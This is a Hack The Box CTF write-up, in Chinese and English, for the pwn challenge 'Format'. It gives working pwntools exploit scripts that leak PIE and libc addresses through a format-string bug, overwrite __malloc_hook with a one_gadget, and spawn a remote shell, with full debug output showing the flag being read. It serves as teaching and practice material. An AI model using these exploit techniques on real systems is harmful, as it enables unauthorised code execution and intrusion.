Hack-The-Box-pwn-challenge[Format]

详细过程及exp - 1

与任何二进制利用挑战一样,首先在二进制文件上运行checksec,以查看启用了哪种保护。

1
2
3
4
5
6
7
8
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# checksec format
[*] '/root/hackthebox/challenge/pwn/format/format'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

我们发现NX, Full RELRO和PIE都是启用的。进一步发现了堆栈Canary的存在。NX被启用意味着不能执行堆栈的内容。启用PIE意味着每次在新进程中生成二进制数据时,都会为该二进制数据选择一个新的基址。Full RELRO意味着不能修改get部分的内容。打开IDA中的二进制文件并分析它,以了解它的功能。

main函数分别调用init和echo两个函数。

echo函数分别调用偏移量0x10a0和偏移量0x1090的两个函数。PLT部分似乎已被剥离或损坏,因此无法看到确切的函数名。但是,可以查看二进制文件的导入,并做出有根据的猜测。

查看导入表,看到它导入了另外两个函数。根据echo函数中每个函数调用的输入参数,假设偏移量为0x10a0的函数是fgets,偏移量为0x1090的函数是printf。因此,二进制代码似乎接受用户输入,并使用printf将用户输入作为字符串格式参数输出。这被认为是危险的,因为用户现在拥有从栈读取或写入的能力。可以通过使用’ %p ‘或’ %s ‘等格式说明符来验证二进制文件存在格式字符串漏洞。

1
2
3
4
5
6
7
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# ./format
echo test
echo test
%p
0x7f969b0b6a03
%s

从上可以看出,能够使用’ %p ‘泄漏堆栈的一个成员。有趣的是,格式说明符还允许使用格式说明符’ %offset$p ‘来选择堆栈上的偏移量。为了理解它是如何工作的,必须理解printf是如何工作的。

printf函数原型是int printf(char const* format,…),其中的’…’符号描述了一个可变参数。在像C这样的本地语言中,带有可变参数的被调用者不知道有多少参数被赋给了它的参数包。在这个例子中,printf使用format参数来指示需要多少个堆栈参数。用户可能为参数包提供了足够的参数,也可能没有提供足够的参数,但是函数仍然会从堆栈顶部输出给定数量的对象。使用’ offset$ ‘表示法, 可以重用以前在格式字符串中使用的参数,而不需要参数。

例如,可能有一个字符串,其中一个特定变量要打印两次。现在,可以将参数赋值给参数包两次,或者直接在打印的变量的最后一个实例上使用’ offset$ ‘表示法。下面的例子演示了这两种方法。

1
2
printf("%s %s", string, string);
printf("%s %1$s", string);

使用这种技术,可以迭代堆栈的内容。注意,每个偏移量对应一个按二进制位对齐的堆栈元素,即32位为4字节,64位为8字节。

  • stack.py
1
2
3
4
5
6
from pwn import *
s = process('./format')
for i in range(1, 100):
s.sendline('%{}$p '.format(i).ljust(0x100, 'a'))
print "{:2}: {}".format(i, s.recvline().split(' ')[0])
s.close()

上面显示了一个用于迭代堆栈的简单python脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# python stack.py
[+] Starting local process './format': pid 4567
1: 0x7f6b05dcaa03
2: (nil)
3: 0x7f6b05cfae2e
4: 0x7ffcdede77a0
5: (nil)
6: 0x6161612070243625
7: 0x6161616161616161
8: 0x6161616161616161
9: 0x6161616161616161
10: 0x6161616161616161
11: 0x6161616161616161
12: 0x6161616161616161
13: 0x6161616161616161
14: 0x6161616161616161
15: 0x6161616161616161
16: 0x6161616161616161
17: 0x6161616161616161
18: 0x6161616161616161
19: 0x6161616161616161
20: 0x6161616161616161
21: 0x6161616161616161
22: 0x6161616161616161
23: 0x6161616161616161
24: 0x6161616161616161
25: 0x6161616161616161
26: 0x6161616161616161
27: 0x6161616161616161
28: 0x6161616161616161
29: 0x6161616161616161
30: 0x6161616161616161
31: 0x6161616161616161
32: 0x6161616161616161
33: 0x6161616161616161
34: 0x6161616161616161
35: 0x6161616161616161
36: 0x6161616161616161
37: 0x61616161616161
38: (nil)
39: 0x2a0cd2c9e1808e00
40: 0x7ffcdede78d0
41: 0x55ff366b72b3
42: 0x7ffcdede79c0
43: 0x2a0cd2c9e1808e00
44: 0x55ff366b72d0
45: 0x7f6b05c32d0a
46: 0x7ffcdede79c8
47: 0x100000000
48: 0x55ff366b7284
49: 0x7f6b05c327cf
50: (nil)
51: 0x5bef4ce629faf90f
52: 0x55ff366b70c0
53: (nil)
54: (nil)
55: (nil)
56: 0xfe89d8c3d9af90f
57: 0xec72bb695dcf90f
58: (nil)
59: (nil)
60: (nil)
61: 0x1
62: 0x7ffcdede79c8
63: 0x7ffcdede79d8
64: 0x7f6b05e22180
65: (nil)
66: (nil)
67: 0x55ff366b70c0
68: 0x7ffcdede79c0
69: (nil)
70: (nil)
71: 0x55ff366b70ee
72: 0x7ffcdede79b8
73: 0x1c
74: 0x1
75: 0x7ffcdede8467
76: (nil)
77: 0x7ffcdede8470
78: 0x7ffcdede8488
79: 0x7ffcdede84b8
80: 0x7ffcdede84fb
81: 0x7ffcdede8514
82: 0x7ffcdede8529
83: 0x7ffcdede8536
84: 0x7ffcdede8545
85: 0x7ffcdede85a3
86: 0x7ffcdede85ae
87: 0x7ffcdede85b9
88: 0x7ffcdede85c6
89: 0x7ffcdede85d9
90: 0x7ffcdede85fe
91: 0x7ffcdede8612
92: 0x7ffcdede8622
93: 0x7ffcdede865c
94: 0x7ffcdede8679
95: 0x7ffcdede8683
96: 0x7ffcdede86d1
97: 0x7ffcdede86d9
98: 0x7ffcdede86ea
99: 0x7ffcdede86ff
[*] Stopped process './format' (pid 4567)

正如上图所示,能够从堆栈中枚举元素。更有趣的是,自己的字符串格式输入似乎出现在堆栈上的偏移量6。

1
2
3
4
5
6
7
8
9
10
11
35: 0x6161616161616161
36: 0x6161616161616161
37: 0x61616161616161
38: (nil)
39: 0x2a0cd2c9e1808e00
40: 0x7ffcdede78d0
41: 0x55ff366b72b3
42: 0x7ffcdede79c0
43: 0x2a0cd2c9e1808e00
44: 0x55ff366b72d0
45: 0x7f6b05c32d0a

再往下看堆栈,注意到字符串格式的输入以偏移量37-38结束。然而,接下来,注意到偏移量41处的echo返回地址。这可能表明,尽管启用了PIE,仍然能够泄漏二进制文件的基址。得先核实一下。

从上图中可以看出,echo ends调用的返回地址位于偏移量0x12b3,这与堆栈上发现的泄漏相对应。因此,可以假定栈上的元素是返回地址,因此可以通过从泄漏的地址减去0x12b3来计算二进制数据的基址。可以按照如下所示编写脚本。

1
2
3
s.sendline('%41$p ')
base_ret = int(s.recv(1024).split(' ')[0], 16)
base = base_ret - 0x12b3

现在有了二进制文件的基址,可以尝试进一步从libc泄漏一个地址,这样就可以找到libc的基址。首先在got小节中获取printf导入的偏移量。

1
2
3
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# objdump -R format | grep printf
0000000000003fc0 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5

现在有了偏移量,可以使用’ %s ‘格式说明符对堆栈执行更深入的读取。’ %p ‘指示符只输出存储在堆栈中给定偏移量处的值,与之相反,’ %s ‘指示符将存储在堆栈中给定偏移量处的值作为指向字符串的指针,并输出字符串的内容。

由于可以通过从偏移量6开始的字符串格式输入来控制一些堆栈元素,因此可以使用该格式指定要从偏移量7检索字符串数据,然后指定偏移量7的目标地址。可以按照如下所示编写脚本。

1
2
3
4
gots_printf = base + 0x3fc0
s.sendline('%7$s'.ljust(8, '\x00') + p64(gots_printf))
glibc_printf = u64(s.recv(1024).ljust(8, '\x00'))
print "GLIBC(printf) leak: {}".format(hex(glibc_printf))

现在,运行泄漏脚本,并验证能够泄漏来自libc共享库的地址。

  • leak.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context.arch = "amd64"
s = remote('178.128.40.217', 32755) # 31019)
s.sendline('%41$p ')

base_ret = int(s.recv(1024).split(' ')[0], 16)
base = base_ret - 0x12b3
gots_printf = base + 0x3fc0

s.sendline('%7$s'.ljust(8, '\x00') + p64(gots_printf))

glibc_printf = u64(s.recv(1024).ljust(8, '\x00'))
print "GLIBC(printf) leak: {}".format(hex(glibc_printf))

s.close()
1
2
3
4
5
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# python leak.py
[+] Opening connection to 178.128.40.217 on port 32755: Done
GLIBC(printf) leak: 0x7f436277be80
[*] Closed connection to 178.128.40.217 port 32755

如上图所示,成功地在libc共享库中获取了printf函数的地址。由于ASLR在页面长度为0x1000字节的页面对齐基础上随机化libc共享库的位置,所以可以确保地址的最后3个字节永远不会随机化。因此,可以使用最后三部分来确定远程服务器正在使用的libc版本。

  • libc database search

使用在线libc数据库搜索工具来定位一个libc库,其中的printf函数以0xe80结束。

如上图所示,有多个候选对象。一个有根据的猜测把我们带到了选择的版本。现在可以在数据库中查找所有的符号,也可以在Ubuntu存储库中找到文件并下载它。在本例中,选择查找libc版本并下载它。由于不能保证外部链接的生命周期,所以将下面的文件作为直接下载链接。

  • libc6_2.27-3ubuntu1_amd64.deb

现在可以使用7-zip这样的解压缩工具来打开这个包。

在debian包中,找到libc共享库并将其转储到磁盘。

现在可以访问远程进程中的libc共享库,需要考虑攻击策略。因为程序有完整的RELRO,所以不能覆盖get部分的fgets或printf指针,这是唯一可以直接控制的函数。然而,可以覆盖libc共享库中的内容,比如__malloc_hook。malloc钩子是一个函数指针,当它非空时,每次使用malloc分配内存时都会调用它。然而,没有任何方式传递参数给重写的malloc钩子,不能使系统直接生成一个’/bin/sh’进程。相反,可以使用one-gadget,这是libc中的一个gadget,它生成’/bin/sh’,而不需要向它传递任何参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# objdump -T ./libc-2.27.so | grep malloc_hook
00000000003ebc30 w DO .data 0000000000000008 GLIBC_2.2.5 __malloc_hook
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# one_gadget ./libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

如上所示,可以确定所需的偏移量。可以按照如下所示编写脚本。

1
2
3
glibc_base = glibc_printf - 0x64e80
glibc_malloc_hook = glibc_base + 0x3ebc30
glibc_one_gadget = glibc_base + 0x4f322

现在已经有了所需的所有组件,可以继续进行攻击了。就像使用’ %p ‘和’ %s ‘从堆栈中读取变量一样,也可以使用’ %n ‘对它们进行写入。’ %n ‘说明符将把字符串中先于它的字节数写到堆栈上传递的目标参数中。例如,printf(‘ 1234%n ‘, &destination)将把4写入destination。可以使用printf(‘ %XXc%Y$n ‘)每次覆盖一个字节,其中XX表示字节的数值,Y表示堆栈上的目标偏移量。使用pwntools的延迟版本如下所示。

1
2
s.sendline(fmtstr_payload(6, { glibc_malloc_hook: glibc_one_gadget }))
s.recv(1024)

现在已经覆盖了malloc钩子,需要做的就是使用malloc强制分配。一种方法是让格式字符串说明符生成一个太大而不能临时存储在堆栈上的字符串,从而迫使printf函数使用malloc进行临时分配。这可以如下所示完成。

1
s.sendline('%100000c')

最终exp脚本

  • getshell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context.arch = "amd64"

s = remote('178.128.40.217', 32755) # 31019)
s.sendline('%41$p bbbb')

base_ret = int(s.recvuntil('bbbb\n').split(' ')[0], 16)
base = base_ret - 0x12b3
gots_printf = base + 0x3fc0

s.sendline('%7$s'.ljust(8, '\x00') + p64(gots_printf))

glibc_printf = u64(s.recv(1024).ljust(8, '\x00'))
print "GLIBC(printf) leak: {}".format(hex(glibc_printf))
glibc_base = glibc_printf - 0x64e80
glibc_malloc_hook = glibc_base + 0x3ebc30
glibc_one_gadget = glibc_base + 0x4f322

s.sendline(fmtstr_payload(6, { glibc_malloc_hook: glibc_one_gadget }))
s.recv(1024)
s.sendline('%100000c')
s.interactive()
s.close()

利用效果。

详细过程及exp - 2

1. Basic checks:

1
2
3
4
5
6
7
8
9
10
11
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# file format
format: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5d38e04d29b4aae722164869f3151cea776ce91c, for GNU/Linux 3.2.0, not stripped
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# checksec format
[*] '/root/hackthebox/challenge/pwn/format/format'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

2. Run binary with format string as input and spot the vulnerability:

  • Format string attack
1
2
3
4
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# ./format
%p%p%p
0x7f167f86da03(nil)0x7f167f79de8e

3. Disassemble binary with your favorite disassembler:

Vulnerable is printf() which should look like: printf(“%s\n”, argv[1]);

4. General overview of what is being leaked:

(1) 6th pointer — beginning of the printf() output

(2) 30th pointer — three free bytes which you need to keep in mind when you leak data using the printf() function (due to stack alignment) additionally, the direct parameter access to this pointer will change depending on the amount of data passed to the printf() function

(3) 37th pointer — init+117address needed for calculating libc base

5. Run binary in GDB — defeating PIE:

set a breakpoint at the printf() in echo()

check the init+117 PIE offset (before execution in GBD)

using direct parameter access input format string %37$p to leak init+117address

calculate the base ELF address after a leak to bypass the PIE security

You can verify the base address of ELF file using vmmap or info proc map

The first phase of exploit written in python2 based on pwntools containing everything so far.

6. Leak the __printf address from libc through printf():

Use %s instead of %p
(access value printed by printf() instead of a pointer to the string)

Remember about stack alignment

7. Check the libc version on the remote system

Use https://libc.blukat.me/ with the leaked address of __printf to check the libc version being used on the remote system.

Check possible libc architecture, there is clearly only one option which is libc6_2.27–3ubuntu1_amd64 because it is the only one 64-bit libc.

Download above libc and place it in the directory with exploit.py

8. Taking control of execution flow:

The program has FULL RELRO, so there is no option of rewriting the fgets() or printf() address, but the content of libc shared libraries is writeable. Use this advantage to overwrite __malloc_hook function pointer.

The vulnerable function in this scenario is malloc() which is called, when the string sent to printf() is too big, __malloc_hook is called whenever malloc() is used.

1
2
3
4
# check __malloc_hook in leaked libc
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# objdump -T libc-2.27.so | grep __malloc_hook
00000000003ebc30 w DO .data 0000000000000008 GLIBC_2.2.5 __malloc_hook

You can trigger malloc() by calling printf(“%10000$c”) — this allocates too many bytes for the stack, forcing libc to allocate the space on the heap instead.

You can overwrite the __malloc_hook using direct parameter write %6$n

It is not possible to specify the parameters of the overridden __malloc_hook . The way out of this situation will be to use a gadget called one_gadget which in fact is a execve(“/bin/sh”) command that is present in libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# one_gadget libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

8. Calculating necessary addresses:

Calculate base address of libc, by subtracting the 0x64e80 from the leaked printf()

1
2
3
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# objdump -T libc-2.27.so | grep " printf$"
0000000000064e80 g DF .text 00000000000000c3 GLIBC_2.2.5 printf

Calculate __malloc_hook and one_gadget based on the computed libc and static addresses from leaked libc.

Use pwnlib.fmtstrformat string bug exploitation tools to easily calculate and override __malloc_hook with one gadget and trigger it!

Add context.arch = “amd64” at the top of the script to choose the system architecture of the targeted binary. Otherwise, an error will pop up.

9. Final exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

context.arch = "amd64"
context.log_level = 'debug'
elf = ELF("format")
#libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
libc = ELF("libc-2.27.so") # <-- Loading leaked libc
#p = process("./format")
p = remote("188.166.173.208",31941)
#gdb.attach(p,'''b*__malloc_hook''')

# ELF base address - leaking && calculating ---
p.sendline("%37$p")
init_leak = (p.recvline())
log.success("LEAK => (init+117) address: " + init_leak)
base_elf = int(init_leak,16) - 0x126d
log.info("Base ELF address: " + hex(base_elf))
elf.address = base_elf # updating ELF

# Leaking __printf address through printf() ---
printf_got_plt = elf.got["printf"]
log.info("printf@got.plt address: " + hex(printf_got_plt))
p.sendline("AAAA%7$s" + p64(printf_got_plt))
printf_leak = p.recv()
printf_libc = u64(printf_leak[4:10].ljust(8,"\x00"))
log.success("Leaked __printf: " + hex(printf_libc))

# Calculating base libc, __malloc_hook and one_gadget ---
base_libc = printf_libc - 0x64e80
malloc_hook_addr = base_libc + 0x3ebc30
one_gadget = base_libc + 0x4f322

# Taking control of exeuction flow - overriding __malloc_hook with one_gadget ---
p.sendline(fmtstr_payload(6, { malloc_hook_addr: one_gadget }))
p.recv()
p.sendline('%100000c') # __malloc_hook trigger
p.interactive()
p.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format]
└─# python pwnexp.py
[*] '/root/hackthebox/challenge/pwn/format/format'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/root/hackthebox/challenge/pwn/format/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 188.166.173.208 on port 31941: Done
[DEBUG] Sent 0x6 bytes:
'%37$p\n'
[DEBUG] Received 0xf bytes:
'0x55ad927bd26d\n'
[+] LEAK => (init+117) address: 0x55ad927bd26d
[*] Base ELF address: 0x55ad927bc000
[*] printf@got.plt address: 0x55ad927bffc0
[DEBUG] Sent 0x11 bytes:
00000000 41 41 41 41 25 37 24 73 c0 ff 7b 92 ad 55 00 00 │AAAA│%7$s│··{·│·U··│
00000010 0a │·│
00000011
[DEBUG] Received 0x10 bytes:
00000000 41 41 41 41 80 4e 3f 41 5f 7f c0 ff 7b 92 ad 55 │AAAA│·N?A│_···│{··U│
00000010
[+] Leaked __printf: 0x7f5f413f4e80
[DEBUG] Sent 0x79 bytes:
00000000 25 33 34 63 25 31 35 24 6c 6c 6e 25 32 37 63 25 │%34c│%15$│lln%│27c%│
00000010 31 36 24 68 68 6e 25 34 63 25 31 37 24 68 68 6e │16$h│hn%4│c%17│$hhn
00000020 25 33 30 63 25 31 38 24 68 68 6e 25 33 32 63 25 │%30c│%18$│hhn%│32c%│
00000030 31 39 24 68 68 6e 25 31 31 36 63 25 32 30 24 68 │19$h│hn%1│16c%│20$h
00000040 68 6e 61 61 61 61 62 61 30 bc 77 41 5f 7f 00 00 │hnaa│aaba│0·wA│_···│
00000050 32 bc 77 41 5f 7f 00 00 33 bc 77 41 5f 7f 00 00 │2·wA│_···│3·wA│_···│
00000060 34 bc 77 41 5f 7f 00 00 35 bc 77 41 5f 7f 00 00 │4·wA│_···│5·wA│_···│
00000070 31 bc 77 41 5f 7f 00 00 0a │1·wA│_···│·│
00000079
[DEBUG] Received 0xff bytes:
00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00000020 20 b0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ · │ │ │ │
00000030 20 20 20 20 20 20 20 20 20 20 20 20 d0 20 20 20 │ │ │ │· │
00000040 81 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │· │ │ │ │
00000050 20 20 20 20 20 20 20 20 20 20 20 20 20 20 c0 20 │ │ │ │ · │
00000060 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
00000070 20 20 20 20 20 20 20 20 20 20 20 20 20 20 c0 20 │ │ │ │ · │
00000080 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
000000f0 20 20 25 61 61 61 61 62 61 30 bc 77 41 5f 7f │ %a│aaab│a0·w│A_·│
000000ff
[DEBUG] Sent 0x9 bytes:
'%100000c\n'
[*] Switching to interactive mode
$ id
[DEBUG] Sent 0x3 bytes:
'id\n'
[DEBUG] Received 0x2a bytes:
'uid=999(ctf) gid=999(ctf) groups=999(ctf)\n'
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x4 bytes:
'ctf\n'
ctf
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x21 bytes:
'flag.txt\n'
'format\n'
'run_challenge.sh\n'
flag.txt
format
run_challenge.sh
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
'cat flag.txt\n'
[DEBUG] Received 0x1e bytes:
'HTB{mall0c_h00k_f0r_th3_w1n!}\n'
HTB{mall0c_h00k_f0r_th3_w1n!}